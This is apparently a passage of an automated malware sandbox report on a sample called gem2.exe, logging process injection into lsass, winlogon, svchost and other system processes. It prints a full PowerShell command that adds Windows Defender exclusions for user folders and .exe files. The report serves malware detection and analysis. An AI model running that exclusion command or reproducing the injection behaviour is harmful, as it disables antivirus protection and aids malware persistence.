Source: C:\Windows\System32\lsass.exe	Code function: 36_2_00000140AE867D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	36_2_00000140AE867D90
Source: C:\Windows\System32\lsass.exe	Code function: 36_2_00000140AE86D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	36_2_00000140AE86D2A4
Source: C:\ProgramData\Screenshots\Lightshot.exe	Code function: 37_2_00007FF6E4D8118B Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	37_2_00007FF6E4D8118B
Source: C:\ProgramData\Screenshots\Lightshot.exe	Code function: 37_2_00007FF6E4D811D8 _initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	37_2_00007FF6E4D811D8
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_00000195DD5CD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	40_2_00000195DD5CD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_00000195DD5C7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	40_2_00000195DD5C7D90
Source: C:\Windows\System32\dwm.exe	Code function: 41_2_000001160CBED2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	41_2_000001160CBED2A4
Source: C:\Windows\System32\dwm.exe	Code function: 41_2_000001160CBE7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	41_2_000001160CBE7D90
Source: C:\Windows\System32\dialer.exe	Code function: 64_2_0000000140001160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	64_2_0000000140001160
Source: C:\Windows\System32\svchost.exe	Code function: 66_2_00000257E10AD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	66_2_00000257E10AD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 66_2_00000257E10A7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	66_2_00000257E10A7D90
Source: C:\Windows\System32\svchost.exe	Code function: 67_2_000001F28C937D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	67_2_000001F28C937D90
Source: C:\Windows\System32\svchost.exe	Code function: 67_2_000001F28C93D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	67_2_000001F28C93D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 68_2_000001CA9854D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	68_2_000001CA9854D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 68_2_000001CA98547D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	68_2_000001CA98547D90
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_000001D265317D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	69_2_000001D265317D90
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_000001D26531D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	69_2_000001D26531D2A4

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior

Allocates memory in foreign processes

Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 1E858950000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\lsass.exe base: 140ADFC0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 195DD590000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dwm.exe base: 1160CB80000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 1E8589B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\lsass.exe base: 140AE890000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 195DE1A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dwm.exe base: 1160CBB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 257E1070000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1F28C1D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1CA97FD0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D2652E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 254A27A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 24B87DA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 205FB3C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A205670000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 18EC1F30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 25CE3BC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 26238950000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2786E560000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1611FF70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 27C0F350000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B279570000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1E70A460000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22D13110000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22C8C580000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2825F1D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2AA5D9C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 20BAEC90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D2DC1B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1C782530000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\spoolsv.exe base: A60000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 24066EB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A3FD9A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 181CEDB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2A142790000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 195B6F30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1428DCA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 1B973730000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1DBFA540000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D76CCC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A239D90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 17CFA390000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23FB7270000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1DF53B50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 164E88A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 25177B50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 28D5D340000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\sihost.exe base: 24EB5E10000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 20859990000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1F153C20000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D241D40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 16FADAD0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ctfmon.exe base: 20E03070000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 15204DB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\explorer.exe base: 1200000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 175C5280000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dasHost.exe base: 1CE76AA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22EF1B30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1C7F34F0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 261DE4D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 22E74520000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 1B1A9D00000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 217AF8C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\smartscreen.exe base: 226D8930000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 13E5E930000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F844120000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 21197E30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 223DC870000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 1B4698D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 27234C50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 28543540000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\audiodg.exe base: 2B684340000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1BE58920000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F8362A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 20E3F2F0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 238A0910000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1E3DC7B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2B9EDBC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 1EFFF1A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2490F910000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 2961B670000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 2961BA20000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Windows\System32\dialer.exe

Code function: 23_2_0000000140001C88 CreateProcessW,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,OpenProcess,TerminateProcess,

23_2_0000000140001C88

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: 5895273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\lsass.exe EIP: ADFC273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: DD59273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 589B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AE89273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DE1A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: CBB273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: E107273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 8C1D273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 97FD273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 652E273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A27A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 87DA273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FB3C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 567273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C1F3273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: E3BC273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 3895273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6E56273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1FF7273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F35273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7957273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A46273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1311273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8C58273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5F1D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5D9C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AEC9273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DC1B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8253273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A6273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 66EB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FD9A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: CEDB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4279273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B6F3273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8DCA273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7373273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FA54273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6CCC273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 39D9273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FA39273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B727273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 53B5273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: E88A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 77B5273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5D34273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B5E1273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5999273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 53C2273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 41D4273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: ADAD273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 307273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4DB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 120273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C528273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 76AA273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F1B3273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F34F273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DE4D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7452273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A9D0273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AF8C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D893273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5E93273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4412273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 97E3273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DC87273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 698D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 34C5273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4354273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8434273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5892273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 362A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 3F2F273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A091273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DC7B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: EDBC273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FF1A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F91273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1B67273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1BA2273C

Injects a PE file into a foreign processes

Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1E858950000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 140ADFC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 195DD590000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 1160CB80000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1E8589B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 140AE890000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 195DE1A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 1160CBB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 257E1070000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F28C1D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CA97FD0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2652E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 254A27A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24B87DA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 205FB3C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A205670000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 18EC1F30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 25CE3BC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26238950000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2786E560000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1611FF70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 27C0F350000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B279570000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E70A460000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22D13110000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22C8C580000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2825F1D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AA5D9C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20BAEC90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2DC1B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C782530000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: A60000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24066EB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A3FD9A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 181CEDB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A142790000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 195B6F30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DCA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 1B973730000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DBFA540000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D76CCC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A239D90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17CFA390000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FB7270000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DF53B50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 164E88A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 25177B50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28D5D340000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 24EB5E10000 value starts with: 4D5A
